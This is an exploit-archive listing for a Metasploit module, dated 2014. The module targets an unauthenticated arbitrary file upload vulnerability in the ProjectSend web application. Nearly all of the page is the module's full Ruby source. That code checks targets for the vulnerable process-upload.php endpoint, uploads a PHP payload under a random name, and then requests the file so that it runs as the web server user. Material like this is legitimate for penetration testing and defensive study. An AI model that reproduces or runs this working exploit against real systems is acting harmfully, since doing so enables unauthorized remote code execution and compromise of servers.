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ProjectSend Arbitrary File Upload

ProjectSend Arbitrary File Upload
Posted Dec 29, 2014
Authored by Fady Mohammed Osman | Site metasploit.com

This Metasploit module exploits a file upload vulnerability in ProjectSend revisions 100 to 561. The 'process-upload.php' file allows unauthenticated users to upload PHP files resulting in remote code execution as the web server user.

tags | exploit, remote, web, php, code execution, file upload
MD5 | 6132c16a9f34de6549cfc05d0921dcca

ProjectSend Arbitrary File Upload

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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper

def initialize(info={})
super(update_info(info,
'Name' => 'ProjectSend Arbitrary File Upload',
'Description' => %q{
This module exploits a file upload vulnerability in ProjectSend
revisions 100 to 561. The 'process-upload.php' file allows
unauthenticated users to upload PHP files resulting in remote
code execution as the web server user.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Fady Mohammed Osman', # Discovery and Exploit
'Brendan Coles <bcoles[at]gmail.com>' # Metasploit
],
'References' =>
[
['EDB', '35424']
],
'Payload' =>
{
'BadChars' => "\x00"
},
'Arch' => ARCH_PHP,
'Platform' => 'php',
'Targets' =>
[
# Tested on ProjectSend revisions 100, 157, 180, 250, 335, 405 and 561 on Apache (Ubuntu)
['ProjectSend (PHP Payload)', {}]
],
'Privileged' => false,
'DisclosureDate' => 'Dec 02 2014',
'DefaultTarget' => 0))

register_options(
[
OptString.new('TARGETURI', [true, 'The base path to ProjectSend', '/ProjectSend/'])
], self.class)
end

#
# Checks if target upload functionality is working
#
def check
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'process-upload.php')
)
if !res
vprint_error("#{peer} - Connection timed out")
return Exploit::CheckCode::Unknown
elsif res.code.to_i == 404
vprint_error("#{peer} - No process-upload.php found")
return Exploit::CheckCode::Safe
elsif res.code.to_i == 500
vprint_error("#{peer} - Unable to write file")
return Exploit::CheckCode::Safe
elsif res.code.to_i == 200 && res.body && res.body =~ /<\?php/
vprint_error("#{peer} - File process-upload.php is not executable")
return Exploit::CheckCode::Safe
elsif res.code.to_i == 200 && res.body && res.body =~ /sys\.config\.php/
vprint_error("#{peer} - Software is misconfigured")
return Exploit::CheckCode::Safe
elsif res.code.to_i == 200 && res.body && res.body =~ /jsonrpc/
# response on revision 118 onwards includes the file name
if res.body && res.body =~ /NewFileName/
return Exploit::CheckCode::Vulnerable
# response on revisions 100 to 117 does not include the file name
elsif res.body && res.body =~ /{"jsonrpc" : "2.0", "result" : null, "id" : "id"}/
return Exploit::CheckCode::Appears
elsif res.body && res.body =~ /Failed to open output stream/
vprint_error("#{peer} - Upload folder is not writable")
return Exploit::CheckCode::Safe
else
return Exploit::CheckCode::Detected
end
else
return Exploit::CheckCode::Safe
end
end

#
# Upload PHP payload
#
def upload
fname = "#{rand_text_alphanumeric(rand(10) + 6)}.php"
php = "<?php #{payload.encoded} ?>"
data = Rex::MIME::Message.new
data.add_part(php, 'application/octet-stream', nil, %(form-data; name="file"; filename="#{fname}"))
post_data = data.to_s
print_status("#{peer} - Uploading file '#{fname}' (#{php.length} bytes)")
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, "process-upload.php?name=#{fname}"),
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => post_data
)
if !res
fail_with(Failure::Unknown, "#{peer} - Request timed out while uploading")
elsif res.code.to_i == 404
fail_with(Failure::NotFound, "#{peer} - No process-upload.php found")
elsif res.code.to_i == 500
fail_with(Failure::Unknown, "#{peer} - Unable to write #{fname}")
elsif res.code.to_i == 200 && res.body && res.body =~ /Failed to open output stream/
fail_with(Failure::NotVulnerable, "#{peer} - Upload folder is not writable")
elsif res.code.to_i == 200 && res.body && res.body =~ /<\?php/
fail_with(Failure::NotVulnerable, "#{peer} - File process-upload.php is not executable")
elsif res.code.to_i == 200 && res.body && res.body =~ /sys.config.php/
fail_with(Failure::NotVulnerable, "#{peer} - Software is misconfigured")
# response on revision 118 onwards includes the file name
elsif res.code.to_i == 200 && res.body && res.body =~ /NewFileName/
print_good("#{peer} - Payload uploaded successfully (#{fname})")
return fname
# response on revisions 100 to 117 does not include the file name
elsif res.code.to_i == 200 && res.body =~ /{"jsonrpc" : "2.0", "result" : null, "id" : "id"}/
print_warning("#{peer} - File upload may have failed")
return fname
else
vprint_debug("#{peer} - Received response: #{res.code} - #{res.body}")
fail_with(Failure::Unknown, "#{peer} - Something went wrong")
end
end

#
# Execute uploaded file
#
def exec(upload_path)
print_status("#{peer} - Executing #{upload_path}...")
res = send_request_raw(
{ 'uri' => normalize_uri(target_uri.path, upload_path) }, 5
)
if !res
print_status("#{peer} - Request timed out while executing")
elsif res.code.to_i == 404
vprint_error("#{peer} - Not found: #{upload_path}")
elsif res.code.to_i == 200
vprint_good("#{peer} - Executed #{upload_path}")
else
print_error("#{peer} - Unexpected reply")
end
end

#
# upload && execute
#
def exploit
fname = upload
register_files_for_cleanup(fname)
exec("upload/files/#{fname}") # default for r-221 onwards
unless session_created?
exec("upload/temp/#{fname}") # default for r-100 to r-219
end
end
end

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